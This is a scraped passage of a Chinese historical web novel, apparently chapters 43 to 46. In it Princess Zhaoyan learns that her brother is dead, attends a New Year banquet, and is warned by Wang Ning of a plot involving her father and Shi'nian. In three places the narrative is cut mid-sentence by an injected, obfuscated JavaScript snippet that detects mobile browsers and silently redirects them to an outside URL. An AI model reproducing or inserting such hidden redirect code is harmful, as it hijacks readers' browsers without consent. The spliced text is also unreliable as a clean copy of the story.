她回忆了片刻,答道:“这倒是未曾透露,不过你也不用太担心,涉及太子安危,越少人知道也越安全。” 朝颜眼中明显闪过一抹失落,不过片刻她便想通,点点头,“你说得对。” “记得你来的时候与我说的那件事,半年过去还未发生,眼下太子哥哥也找到了,你可安心了?” 朝弦是今晨突然想起这件事的,先前她本不信,但也抱着怀疑的态度,而如今半年过去,没发生什么大事,她也慢慢想着朝颜是否太过居安思危。 话毕,朝颜回她:“是安心了些,虽说王酉铭主动请辞,但我还是不放心,等过了年关后再半个月,若他真的能安分守己,我便即刻启程回华纪,届时兄长是伤势应该也恢复得差不多了。” “已经快一年未见过他了,想必他心里也挂念着我呢。” 朝弦也笑着接话:“那是必然。” 血脉亲情间,哪有不思念的。 情绪被抚平,二人便各自分工,干起了正事。朝弦闭着眼皮,听完一首乐人弹奏的琴曲,忽然想到什么,睁开眼问:“颜儿,还未问你武功学的如何了?” “自保应当不成问题,后续多加练习想必会更好。” 朝弦收回视线。点头回应她。 她听出朝颜回答的时候迟疑了片刻,知晓她或许又遇到什么不愉快的事,既然她不愿说,自己也不过多过问。 毕竟是那位声名显赫的娄少傅亲自教学,应该不会出差错。 只是那人看上去便是要求极高的严厉之师,朝颜免不了受些委屈。不过若能学些真本事,受些委屈也无甚。 待做完一切已经临近正午,到用膳时候了,朝弦笑着说近几日御厨研究了几样新菜式,邀朝颜一同于她尝尝,恰好燕融忙于公务无法与她一起,朝颜便应下了。 用过午膳后,朝弦转头吩咐宫人们拿来许多新布料,还请了制衣坊的人来给朝颜量身形,说年岁将至,要用全新的模样去迎接新的光景。 还半玩笑半认真地嘲朝颜,说她日日穿着这几件看都看腻了,必须给她裁制新衣,将她打扮得漂漂亮亮,出去见人时也不失自己一国王后的大方体面。见拗不过她,朝颜便同意了,临走时为感谢今日相助又送了朝颜一大箱的金银首饰。 回到寝殿后的朝颜见满殿珠光宝气、金光灿灿的模样,忍不住扶额,但她心中也是欢喜的。 被人宠爱的感觉很好。 她不禁想象着,倘若母亲在世,应该也会像堂姐一般宠她爱她给她送许多新衣首饰吧。 假使日子可以一直这样事事顺遂、幸福美满下去,再好不过了…… * 今日是个无月之夜。 灰蒙蒙的天际只余寥寥星光点缀,刺骨寒风拍打着窗棂,呼啸着要破窗而入,万物冰雕玉琢,随口呼出的气息也在眨眼间化为水雾。 右师府没了往日繁荣,变得孤寂寥落。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405629|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王酉铭自罢官后便整日将自己关在家中祠堂不出来,府上大小琐事便落到了王凝身上,于是她自作主张将家奴遣散了许多,只留下几个心甘情愿在府中待着的心腹。 王凝坐在铜镜前盯着镜中的自己发愣。 王氏倒台,她有一半的责任,夫君得知此事后也寻了借口离她而去。如今只剩她自己独守闺房,无人诉说心中的苦闷。 原本只是怜惜那些百姓,殊不知将自己弄到了如今的地步,事到如今,她心里是有一丝内疚的,但她不后悔。 她明事理,知晓自己父亲做了错事,想弥补,劝说众人去司寇大狱认罪伏法,或许还能从轻处置,但众人无一理睬她的。好不容易可以在众人面前说几句话,本以为王堃那日会主动坦白,谁知他们竟使了障眼法迷惑那两位大人,她既生气又无奈。 想着自己去认罪,哪知二位大人竟先她一步查到了蛛丝马迹,将父亲揭穿,硬生生把整个王氏家族弄上了个欺君之罪。 侍女推门而入,进来禀告:“女公子,大人今日又没吃东西。” 已经三日了,滴水不沾,也不吃半点东西。 不知是在赌气还是真的追悔莫及。 总之自己父亲在国君面前所说的话王凝此刻是不敢再信,也不想相信。 思虑过后她叹了口气,细长眉眼中划过淡淡的伤感,她轻声道了句:“算了,由父亲去吧,这是我们欠百姓们的。” …… 青砖黛瓦,檐牙高啄,祠堂屹立在后院最清静隐秘之处,越靠近越能感觉到它散发出的庄重严肃。 祠堂内,中年男人身着一袭单薄的暗灰长袍,安静跪坐在高案的排位底下,粗粝手掌中持着一串檀木佛珠,来回盘算,嘴中念念有词,潜心闭目祈祷。 此人正是王酉铭。 鼻下忽然传来一道寒凉的气息,他骤然睁眼,闪过一抹戾气,大喊道:“什么人?休要装神弄鬼,出来!” 言罢,只见一年轻男子自屋顶跃下,落在他身后不远处。 王酉铭未转身,耳朵却时刻注意着身后人一举一动,不多时,他听到对方高高在上,极其自负的话语:“王大人,别来无恙啊!” 嗓音有些熟悉,似曾相识。王酉铭缓慢转过头,见到十廿那张熟悉面孔,回想起先前将他从牢狱中救出的场景,此刻二人倒像是转换了境遇。想到十廿方才所言,他眼神警惕,不明所以地望着人问:“你想做什么?” “我自然是来帮你的。” “不知大人想不想报仇雪恨,拿回属于你的东西?” 王酉铭冷笑一声,“不要以为我在祠堂就不知道外面发生的事。那日刺杀姜宣同失败,落荒而逃的人是你吧。”他语气十分坚定,直接道破。 话音刚落十廿便笑出声,他一步步走到王酉铭面前,低头弯腰,与人面面相觑,勾起唇道:“想不到王大人都吃斋念佛了还如此关心外面的事,还真是八面玲珑!” “一个被人到处追杀的凶手竟敢来此挑衅,你不怕我把你抓起来送到姜贯面前求赏?” “求?”十廿环抱着手臂,靠在一侧的柱子上,戏谑地看着王酉铭,“大人说话太难听了,不是小人看轻你,你就算去求燕融,也不会去求姜贯。” “更何况我是来帮大人的,你不会抓我。” 王酉铭没理会他的嘲讽,反问:“帮我?你如何帮我?” 十廿没接话,室内静了一瞬,时间仿佛被捏住了命轮,停滞在此刻。 良久后,十廿收回嬉皮笑脸的模样,面容冷峻,假装屈服似得半跪在王酉铭身侧与他同一高度,淡道:“你只需交出手上所有的通关符节,我便能保证燕融死后,你可居相位,其他不必多问。” 心思深沉的王酉铭又如何看不出他的目的,只是他好奇,十廿背后之人。 他半眯着眼,冷脸问:“你到底是何人?” “究竟在为普桑的哪位卖命?” 十廿笑了一下,不答一语。 王酉铭眼下只是个可以被随意利用随意丢弃的棋子,十廿早就不把他放在眼里,故而对他的话视若无睹。他眸中泛起杀气,朝男人瞥去,言语犀利: “我劝大人您莫要多管闲事。你若做好你该做的,我家主子自会将你想要的奉到你手上。反之,后果也很严重。” 他提出的条件实在诱人,若说半点不心动是不可能的,但王酉铭不想太快被人拿捏宰割,故而给他一个模棱两可的回答:“容我考虑考虑。” “行,元日之前给我一个答复。” 跪了多日的王酉铭腿脚已经疼得站不起身,但他目送男子离开后,自己慢悠悠地磨着地面站了起来。他一早便有预感,知道王氏家族不可能如此快就覆灭,所以他以退为进,待后期寻求机会。 没想到机会来得如此快,实在是令人欣喜若狂,意想不到。 44. 卷土重来(八) 时间转瞬即逝,三日眨眼便过,越临近年关,燕国便也慢慢变得热闹起来,街上百姓遍布,人来人往,都在为新的一年做准备。 年首前一日,羽堇终于回来了。 侍奉完朝颜用膳的槐夏刚打开殿门,便见一袭黑色劲装的羽堇迈步而入。 他大步流星地走到朝颜身前,单腿下跪拜在她裙摆低处,模样恭敬,嗓间低沉唤一声殿下:“属下来迟,让您担忧,请殿下责罚。” 见人完好无损回来朝颜心中的大石也落了地。虽是晚了些,但也算按时归来,怎会责怪他,笑道:“平安回来便是最好的。” 下一刻便听他面上恢复成冷静疏离的模样,轻声道:“殿下,属下探查到太子的消息了。” 话音刚落,朝颜眸中染起一抹惊诧,二人竟是心有灵犀想到同一处去了。她勾起唇角,看向羽堇道:“你平安归来,我也正想与你说此事,那日堂姐告知我,华纪传来的消息说国人们找到兄长了。眼下他就在关隘修养,待痊愈后便可回宫。” 本该欣喜之事,哪知羽堇忽然沉下脸来,不发一言。 见他状态不对,朝颜心中疑虑渐生,长睫微微垂下盯着他看了许久,试探着开口:“怎么了羽堇?可是有什么不妥?”若不然听到这个消息他应也是高兴的,为何眼下却一副无关紧要甚至严肃至极的面孔。 羽堇黑瞳闪躲,将手抱拳举在胸前朝少女一拜,嗓音很低:“请殿下恕罪,属下所探得的消息与王上的消息有出入,应是属下眼花了,看错了。” 眼花看错?看错什么了? 朝颜心中忽然有种不详的预感。 羽堇这几句话明显有旁的意思,事有蹊跷,莫不是兄长的消息有误? 她冷起脸来,目光紧锁着少年,“你这话是何意?” 且不说羽堇本人能力有几何,但在华纪境内他确实是最出色最优秀、数一数二的精兵暗卫,他又怎会轻易说出自己看错眼花种种话语?事有蹊跷,他的反应太过诡异,说话也是支支吾吾,定是有意隐瞒什么。 朝颜心急如焚,扯着羽堇的衣襟,将其拉在眼前,逼问道:“本殿下再问你一句,你方才所言到底是什么意思?速速坦白!” “属下……” 见羽堇依旧在含糊其辞,朝颜大失所望,胸间不禁涌上一股怒气,她狠狠一拂袖,越过少年身侧向门口走去,在门槛处停住脚步,语气更是冷到极点: “羽堇,在你心里是不是从来只敬重兄长一人,根本没有把我当成你的主子?是不是觉得我是个女子,不能随意差遣你做事,不足以让你以诚相待?” 自嘲般的话语道破了事实,这些话很难听,与她而言是莫大的伤害,可即便再难听她也要自己说出来。 因为她自己说出来,便不用再受旁人的冷嘲热讽了。 她站在光影处,侧着面容瞥向羽堇,眼神似笑非笑,脸色很难看。 须臾间,一道黑色身影闪到她面前,动作极其迅速,直接跪在她脚下,头压得极低,“属下不敢!” 先是娄卿旻,又是羽堇。 被两个人同时隐瞒,饶是朝颜性子再好也无法忍受,她闭口不语,也不给跪在地下的羽堇半个眼神,始终盯着殿外那颗载满白雪的枯树,冷风袭来,雪落却无声。 就在她不再强求,准备离开时,少年忽然抬臂,冒着大不韪的罪扯了下她的裙摆,制止住她的脚步,“殿下!” 朝颜收回迈出去一半的腿,回眸扫了他一眼又定在原地。 少年终于开口将事情坦白:“一月前,属下在峮防搜寻时从一位妇人那里找到太子殿下的消息。当时还有一队人马也在搜寻,属下怕暴露便远远跟着他们。谁知他们竟先一步找到太子殿下的贴身玉玦,而后又寻到一具尸首。属下也不知是不是太子殿下,时间太长了,又经历风吹日晒,雨雪飘零,那尸首已经腐败不堪难以辨认。” “只是后来属下在队伍中发现少傅大人的身影。他们应是确认了尸首的身份,为其立了个衣冠冢。” 尸首、衣冠冢,朝颜忽然感觉耳鸣目眩,她喃喃道:“怎么会是尸首?” 兄长居然还是未逃过那一劫么? 难道注定的命运始终无法改变?不论做什么都于事无补? 眼泪控制不住向外流,朝颜顿时头脑一片空白,心像是被尖刀扎了几下,细密的痛涌上来,浑身似被抽干了力气,她扶住一侧的门板,才勉强稳住要摔倒的身子。 这就是天命么?难道注定天命难违? 不管她如何想方设法拯救他们,如何给他们泄露天机,终究还是避免不了他本该有的结局?上天为何这样不公,到底为何? 在朝颜快摔下去的前一刻,羽堇眼疾手快扶了她一把,声音沉重:“殿下节哀。” “据属下探查,太子殿下的假消息是少傅大人传播的。” 朝颜很努力想克制自己快要涌出的悲痛,却在不知不觉中泪流满面。她哽咽着,打起精神问:“你是何时发现兄长消息的?” 羽堇:“一月前。” 等等,一月前。 那是姜家与仲清先生入狱的时段! 难怪当时舅父等人陷入水深火热之时,她去寻娄卿旻却不见他的踪迹,原来那个时候他便已经开始瞒着自己做事,独自去寻兄长了。 为什么不告诉她?究竟为什么? 他明明知道兄长在自己心中占着极其重要的位置,却如此能狠下心来骗她,不让她去见兄长最后一面。 他骗她骗华纪,骗了所有人,亲手给大家希望,却又明知最后会是一场幻梦,会是痛不欲生的绝望。 他当真如此狠心,如此麻木无情。 她眸中的厌恶,无奈,愤恨夹杂在一处,心里却是疲惫不堪,破碎成一块一块。 她此时此刻恨不得直接飞到他面前,当着他的面亲口问一问,在他眼中,她是不是始终都不足以与他为伍,是不是只能当个随拿随用的棋子,维系华纪与普桑友好关系的棋子。 她皱着眉头,用尽力气将面上的泪水拭去,哭是最没用的,她不能哭,不能难过,不能让旁人看出一丝破绽。 她要见他,当面与他对峙! 明日便是元朔之日,天色已晚,王宫最近几日下了禁令,她不便再到处走动。 娄卿旻自那日起便一直住在外城不踏入王宫一步,她眼下别无他法,只能待明日出宫寻他,才能问清事情的来龙去脉。 如今细细想想,前些时日与她交谈时娄卿旻那双琉璃色的瞳孔总来回闪躲,就连练武之时他也是整日心绪不宁,神游天外,本以为他是公务繁忙劳累所致,如今不难推测出他是因为一面记挂着兄长,一面又想着如何瞒她,才会那样忐忑不安,如坐针毡。 这是他骗她的第二件事。 先前十廿现身不与她说是怕自己插手破坏他的计划,那兄长之死呢? 她不懂,为何娄卿旻总要将所有事掌握在自己手中,将事情计划得天衣无缝,把旁人都当作傻子,让一群人困在他布下的天罗地网中,而他在外冷眼旁观,看着众人被耍得团团转。 他就不怕有朝一日所有事情泄露,华纪会彻底被推上风口浪尖。 * 越是焦急就越是做不成事。 翌日一早朝颜便被朝弦绊住了脚,让她帮着在朝弦画好的比翼连枝图上誊抄一遍名家绝词,她这才知道国君燕融居然是年首前一日生辰。因他生性节俭,没有专程置办宴会庆祝的习惯,便跟王后商议过元朔日晚宴时一齐庆贺。 只是王后要求极高,画了三遍才心满意足,这才磨到元朔当日。 朝颜年幼时闲来无事跟着兄长学过几年毛笔字,如今倒正好派上用场。想到兄长,她还是很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405630|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难过,心口很疼,但又不能与人诉说。眼下华纪被众人虎视眈眈地盯着,稍有风吹草动便会引发战乱。 别无他法,她只能忍。 将近上百个字,一笔一划慢慢写完,已是申时两刻,足足两个时辰。 太阳已经转到山的西侧,咚咚的敲鼓声在耳侧不断环绕,朝颜伏在案上写得入迷,中间未歇过,或许是许久未体验过这般高强度的课业,她坐得双腿发麻,浑身血液似乎凝固一般,刚起身便感觉一阵头晕目眩。 槐夏在门口等了许久,见她如此,一溜烟地跑进来搀扶着她往朝官寝殿走。 回去的路上瞥见皇城最高处的钟鼓,上面站着一批人马,还在不停地敲。朝颜强忍着快要吐出来的难受,开口问身侧人:“他们已经敲了整整半日,是有何寓意么?” “殿下您忘了么,去岁我们也是如此啊。” 槐夏见她面色难看,试着帮她转移注意力,便解释:“我们华纪与燕国年年如此,击鼓半日来驱除疫疠之鬼,辞旧迎新,消灾祈福,来年少些病痛。” 朝颜点头应下,她确实早就忘得一干净了。 身子疲惫不堪,头也疼,心也闷。她搭着槐夏的手臂回寝殿,进去后便直奔木榻而去,槐夏递给她一捧暖炉,她接过后半躺着闭目养神。 她不小心睡过去,入了梦,梦中闪过一张张熟悉的脸庞。 清醒过来后知后觉,才意识到自己已经许久没有感受过庆贺新年的滋味了,重活后这段日子仿佛像过了大半辈子。她又向来不拘小节,自然也把那些复杂的繁文缛节与风俗习性抛在脑后。 槐夏静悄悄进了殿,看见苏醒后的少女在那发愣,开口问道:“殿下在想什么?” 朝颜幽幽抬眸看过去,半晌后缓缓道了几个字:“在想兄长。” 此刻的朝颜面容憔悴,浑身透着淡淡的破碎之感,仿佛娇花快要凋零一般。见她心绪不佳,槐夏也跟着心疼惋惜。 槐夏在心中狠狠咒骂了一番,若不是那些凶狠残暴的山匪在边境发动战乱,殿下兄妹二人也不会聚少离多。 她日日待在朝颜身边,自是全看在眼中。 太子离开华纪征战后,公主便很少笑了,整日困在华纪王宫中,没什么朋友,王上独宠王后与小公主朝挽挽,不把自家殿下放在心上,久而久之就连别宫的下人们也会暗地编排腹诽,实在可气。 逃婚这些日子虽经历了诸多杂事,但至少公主不会像在华纪那样总拘着自己,不仅可以读书习武,还交到许多新朋友,相较之下,离开王宫脱离王室才是最适合公主的。 只是这般的日子总会过去…… 罢了,不是还有太子殿下么,他回去后定会帮公主做主,眼下只需活好当下。 思及此槐夏傻呵呵笑了一声,端了一盏茶水递到朝颜面前,安慰她:“没事的公主,反正已经找到太子殿下了,待殿下帮公主辞了和亲事宜,来年定能与公主一起过新年。” 朝颜看着她明媚的笑,心中被感染到,薄唇微微勾起一个小角:“来年……” 她面上闪过一瞬满含期待的笑,不过即刻便消散。 她也想有来年,只可惜,兄长已经不在了。 也不知他一个人在山野间会不会害怕,会不会冷。 她要寻个合适的时机接兄长回家,外面野兽蚁虫成群,她不能放任兄长在山林被它们欺负。 战神将军,纵使是死,也要回到属于他的领地。 槐夏方才所言倒是也在提醒她,与普桑的联姻之事就在半年后,她需提前做些什么,才不至于被人拿捏。 还有那个人,他们迟早会见面,她要在他谋反之前,利用太子把他除掉!若不然,待他贮备好一切,谋朝篡位那日,天下必定又起战乱。 槐夏看看殿外暗下来的天,道:“筵席快要开始了,槐夏为殿下更衣?” 45. 卷土重来(九) “筵席快要开始了,槐夏为殿下更衣?”槐夏道。 朝颜点了点头,起身跟着槐夏进了内殿洗漱更衣。不多时,她从内殿出来已经换上一件浓红橙色曲裾襦裙,整个人浑身透着艳丽。裳裙下摆内白灰色褶布又为她添了丝淡淡的清雅,橘色红绫带勾勒着不堪一握的腰身,扑面而来清丽脱俗夺人眼目,整个人美得不可方物。 这件新衣是王后按照她的身形特意量身定做而成,前日才做好,眼下穿在身上,也是入乡随俗了。 及腰的青丝黝黑发亮,被槐夏一番梳理,成了高峨髻,发髻朝天,更显灵动。 梳妆完后,槐夏眼睛一眨不眨盯着面前少女,朱唇皓齿,长眉入鬓,略施粉黛便已经美艳动人,她打心里喜欢得紧。 薄暮冥冥,天昏地暗,不觉已是酉时。 朝颜不紧不慢地往朝宫偏殿的方向赶去。 所设宴席尊男女有别之礼,故而各自分坐,中间被一扇厚而高大的屏风隔离开来。 朝颜赶到时,内里纷乱嘈杂,已经有许多宾客入座,有专人一直在宫门前候着,引着男女分别走向不同的长廊,朝颜跟着一位宫人去到朝弦为她安排好的席位,跪坐在软垫上。 她忽略众女打量的目光,眼神落在面前几盘精致菜肴上,色香味俱全,更有几盏口味不一的果酒。 朝颜认出其中肥美鲜嫩的炮炙羊肉羹和色泽莹润的烧里脊是自己那日选的,眸光一晃,忽而瞥见果酒旁放着一小碟解腻的桂花蜜饯,这蜜饯做工精细复杂,又颇有损耗,是寻常人桌案上见不到的东西。 她不喜甜食的每每见到,都忍不住吃上几颗。 最中间放着一盘绿油油的芥菜,上层撒了薄薄的虾米,盘子底层边缘处还露出一叠细长的粉丝。 这是长年菜,是每年元朔之日必备的菜肴之一,人们用来祈祷长寿,其中的粉丝还具有长生不老之意。 朝颜的位置在最前方,稍稍抬头便可将全场一览无余。面前的宴席聚集了全燕的美人,远远望去,那些世家女子也是一个比一个好看。 槐夏眼尖,眼睛扫到角落中寻到一个女子,露出少许惊艳,随之弯腰低在朝颜耳侧,示意她看去,“殿下,那位角落里女公子的模样生得可谓数一数二,槐夏觉得是这宴席上除了殿下外的第二美,就是打扮得太过简单了些。” 闻言朝颜忽然起了些兴致,顺着她说得方向看去,一下便找她口中那个打扮清丽的女子。 她身着一袭白纱罗娟裙,青丝被一根玉簪挽在脑后,简简单单又不失体面,由内而外地散发着满满的清冷之感,一眼望去十分舒适,如此雅致朴素的装扮在一众打扮得花枝招展的女子中显得尤其干净,赏心悦目。 朝颜看去时,那人也望了过来。 二人视线在空中交汇,竟互相欣赏起来,谁都没移开眼。 朝颜盯着女子,对方神态冷淡,面上毫无表情,又十分坦然。相较之下,自己的目光带着探究,想看破什么,实在罪过。 怕惹人烦,朝颜便率先朝人一笑,收回眼神。 过了片刻,朝颜察觉到那女子还在盯着自己看。 燕国世家女子颇多,朝颜知道自己不识得她,见她没有什么恶意,便不予理会,自顾自地用膳。 又等了半注香,王上王后才赶来赴宴,说了几句庆贺话语便道开宴。这样的宴会将众人聚集在一处,无非就是朝臣间阿谀奉承与互相攀比,朝颜心思不在宴会上,草草看了几场歌舞心便躁动起来,她想快些结束,然后去找娄卿旻,她要让他将所有事情交代清楚,否则便不罢休。 她心中杂乱无章,眸光闪烁着,随手拿起桌案上放的果酒品了一口,微微果甜与发酵的酒香在口齿中漫延,酸甜的口感渡进胃里,她食欲大开,正想多喝几口,就在这时,一场乌龙在不远处发生了。 “女公子恕罪,奴婢不是故意的。” 突如其来的道歉声在大殿一角传出,将一众女宾的视线全部吸引过去。 朝颜也抬眸望去,只见一宫人跪倒在女子脚下,身子压得极低。细细看了几眼后,朝颜恍然大悟,原来那宫人斟酒时不小心将方才那名白衣女子的衣襟打湿了。 雪白的裙面沾着抹淡红,还有些暗暗的灰渍,果酒潮湿,印透衣衫,露出内里一片亵衣,众目睽睽下,女子的模样有些狼狈。 但她自己视若无睹,还心平气和地对其道了句:“起来吧,不怪你,是我自己不小心。” 宫人缓慢起身,又恭恭敬敬道:“那奴婢带您下去换件衣服。” 白衣女子沉默了片刻,忽然站起身,走到大殿中间,看向朝颜所坐的位置,提议道:“我看我与那位女公子的身形所差无几,若不然求她帮我寻件衣物可好?我是瞒着家中人出来的,不想回去后被看穿自己换了不合身的衣裙。” “只是,这位……” 宫人话还未说完便被朝颜打断:“好了你下去吧,我带这位女公子去换身衣物。” 她看出白衣女子的目的是自己,便由着她,看她后续要作何。 “是。” 朝颜的眸子在白衣女子身上扫了一眼,便起身在前面带路,准备带她去自己的寝殿换衣。 路过众人时,不知是谁忽然认出女子身份,冷冷嘲讽了句:“她不是罪臣王氏之女么?她父亲犯了那么大的错在家面壁思过,她怎么还有脸出现在这儿啊!” 一侧的同伴接话:“就是仗着公主性子好,故意亲近想让公主替她父亲在王上面前美言几句吧?” “真不要脸!” “就是就是……” 众多难以入耳的咒骂传入朝颜耳中,细长的眉毛登时扭成一团。听众人所言,白衣女子应是王酉铭之女王凝,但木炭之事是王酉铭自作主张犯下的错,又怎能让王凝一个女子背负骂名。 更何况女子之间本该互帮互助,不应恶意中伤,互相揭短。 朝颜停住脚步,眼皮一掀,周身气温降了几个度。她转身朝最开始揭人短的那名女眷所坐的位置走去,对方察觉后即刻站起身后退了几步,二人对上眼眸。 朝颜那双好看的桃花眼中此刻像是燃着熊熊火焰,仿佛将要喷发出来。她不理会女子的惊恐,红唇微启:“王凝是我邀请进宫赴宴的,怎么,你方才话里的意思是在暗指本殿下与王氏共谋?还是觉得本殿今日赴宴,也是不知羞耻没脸没皮?” 朝颜身份尊贵,又是王后堂妹,那女子只是一个文官之女,无论如何也不敢惹怒,当即垂下脑袋,跪在地下认错:“臣女不敢,无心之言,殿下饶命!” 朝颜居高临下睥睨着女子,那眼神似乎在看一个无关紧要的小人。 是了,她最厌恶这种捧高踩低落井下石之人。 她转过头,瞥向大殿其他围观者们,冷冷道:“若其他人还有任何异议,尽管说来——” 话毕,周围无一人接话,针落有声,众人都在维系着虚假的风平浪静。 高台处的燕融似乎注意到这边的躁乱,脸上一阵红一阵白,有些难看。 敢在元日之夜闹事,简直不把他一国之君放在眼里。他倏而拍案而起,放声朝女宾处喊道:“那边发生何事了?新年第一日便吵吵闹闹,成何体统!” 只一瞬,整个大殿便全部鸦雀无声,男宾处众人一时也懵懂起来,面面相觑。 朝颜不想再浪费时间,冷漠睥了那女子一眼,走到屏风前,大声回着高位上的君主:“国君王后不必动怒,只是女儿家拌嘴,无意扰了国君用膳,还请国君看在今夜是元朔之日的份上,莫要与我们计较。” 朝弦认出朝颜的声音,心里有几分猜测,赶忙安抚了几句身侧的燕融,又讨好似得向他递了杯酒。 底下坐着的燕晤听到朝颜熟悉的嗓音,也忍不住开口打圆场,“许是因为什么吃食争抢起来了,王兄乃君子,莫要与她们女子斤斤计较!” 佳人在侧又有王弟替人求情,燕融不想扫兴,也不愿将事情闹大,便道:“罢了罢了,继续吃宴吧!” 话音刚落,男宾处又热闹起来。 朝颜听到燕晤的借口,内心白了他一眼,但还是忍着没出声反驳,眼下最要紧的事是回寝殿帮王凝换衣,不可过多纠缠。 * 朝宫东苑。 内殿燃着一注刚点上的安神香,只嗅了一下便感觉直沁肺腑,躁动的心也渐渐归于平和。 槐夏听朝颜吩咐,向火炉中添了新的木炭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405631|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,内心暗自腹诽,自家殿下人美心善,对罪臣之女也如此体贴入微,生怕冻着她。只是不知那女子费尽心思找殿下是想做什么。 槐夏取来的崭新衣裙,依依不舍地递到朝颜面前。朝颜知道槐夏这是心生醋意了,安慰她几句后,让她下去用膳,便将门关上,自己与王凝在殿内。 待王凝换完衣裙后,从内里走出来,朝颜才开口问她:“你是王酉铭之女王凝?” “是。殿下应是朝颜公主?” 朝颜垂眸,“没错。” 王凝紧绷的面色忽然变了,极其认真看着她,眼神带着求助,“殿下,或许你不信我是来报信的,但你一定要听我说完下面的话。” 见人一脸不说不罢休的模样,朝颜点头应她,“好,你说便好。” “那日我去给父亲送膳食时无意间听见他与一个男子在祠堂对话,起初我以为是王堃,但我偷听了许久才发现那声音有些不一样,才知是旁人。他二人好似在谋划什么,我只听到了几个关键词,姜家与燕国边境。” 她补充道:“还有,符节。对,那男人让我父亲将手上的玉符节交给他。” 朝颜疑惑:“符节?” 王凝面色凝重地点头,顿了顿又继续说:“我不知他拿符节做什么,但我听到父亲说今日戌时三刻在府上见面,若不出意外,父亲定会把符节给他。我不知该怎么办,王家无人可信,王上又未邀请我们,我便只能硬着脸皮不顾众人嘲讽来此赴宴,只想请殿下帮帮我父,让他莫要再入歧途,母亲病逝,夫君弃我而去,我不想再失去这最后一个亲人。” “我不求众人原谅,我只希望殿下可在紧要关头保他一命!若能救他,王凝可为奴为婢报答殿下。”说罢她直接跪在朝颜脚边,磕了一个响头。 朝颜被她此举弄得手足无措,赶忙俯下身子伸手挡在她额前,另一只手将人拉起来,垂眸看着她,语气快了几分:“你别这样,我尽力而为。” 王凝很是感动,随之挣脱开手又跪在地下,朝她一拜,“谢殿下,谢殿下!民女在此叩拜殿下!” 朝颜扶她起来后,二人一同坐回案前,想到她方才所言,又问:“那你可有见到那男子的样貌?” 王凝摇头,“他一袭黑衣,我也没看清脸,听声音是个年轻的。” 朝颜思虑一番后拉她去内殿的木榻上,将人按在上面,道:“你先在我这儿歇一歇,我需要与人商议一下才知如何做。” 王凝用力垂首,朝颜便向门外走,看着少女离去的背影,她又轻轻道了句:“谢谢。” 这一声道谢是发自肺腑,衷心的致谢。 朝颜听到她这两个字,在不远处扭头与她对视,笑了一下,“不必言谢。在这个世上,女子本就难以生存,求路无门。必要时需要互相依附彼此协助才能好好活下去。” “若真要谢,就努力站起来,与那些战士们一样,去做一番事,莫要让人再随意看轻!更不要在意旁人的胡话,无愧于天地良心便是最好的!” 说这话时她眸中似燃着一把火,直勾勾望着王凝。 王凝眼中闪着泪光,她们彼此注视着,一切不言而喻。 那把火在寂静的暗夜中是那么温暖,那么明亮,足矣照亮人心,引人度过脚下崎岖不平的路。 安抚完王凝,朝颜独自走到偏殿,陷入深思。 那日之后没再听说十廿的动静,还以为他知难而退。谁知他不仅没离开燕国,还私下与王酉铭联手作恶,不过眼下最重要的是她该如何破局,如何护住燕国? 十廿假死之事只有她与娄卿旻知晓,舅父二人无所依靠自是不能再插手。如若盲目将此事告到燕融那去,且不说会引起宾客躁乱,万一他走漏了风声,惹怒十廿,怕是覆水难收。 眼下她只能去向娄卿旻求助。 她暂且将二人恩怨抛之脑后,让槐夏假借上菜的名义去男宾坐席寻了好久,都未见到男人的身影。 这才知道他没来赴宴,于是她赶忙寻了个借口出宫。 好在不日便是祭祀之日,宫外许多人都在练逐傩之舞为祭祀之日逐鬼驱疫,便给她一个出宫凑热闹的借口。 既无人能帮,她便自己去尽力阻止。 46. 卷土重来(九) 所做之事太过危险,恐危及性命,朝颜便没带槐夏,眼看快要戌时,她衣服都来不及换,直接唤马夫带她驾车离宫去外城。 行至半路时,马车外忽然传出一道马鸣,朝颜掀开窗纱向外看去,红棕马背上坐着一个熟悉的黑色身影,定睛一看,竟是羽堇。 羽堇是暗卫,平日不便在宫中现身,朝颜便将他安排在离宫最近的客舍,原本她已经做好了打算若娄卿旻不在,羽堇便陪她一起出宫,眼下羽堇应是察觉到了,故而追了上来。 怕引人怀疑,朝颜不敢直接去王酉铭府上,也不能直接去寻娄卿旻,她便随意找了借口让马夫在城际交界处的江边停下。 新年用过晚膳后,众人都聚集到一处看人表演逐傩之舞,这繁华兴盛的场面一年只一次,于是大大小小老老少少便都一齐出来看个热闹。 朝颜撇下马夫自己顺着街道走去,没一会儿便消失在乌泱泱的人群中。 不多时,羽堇穿过人群赶来,紧紧跟在朝颜身后。 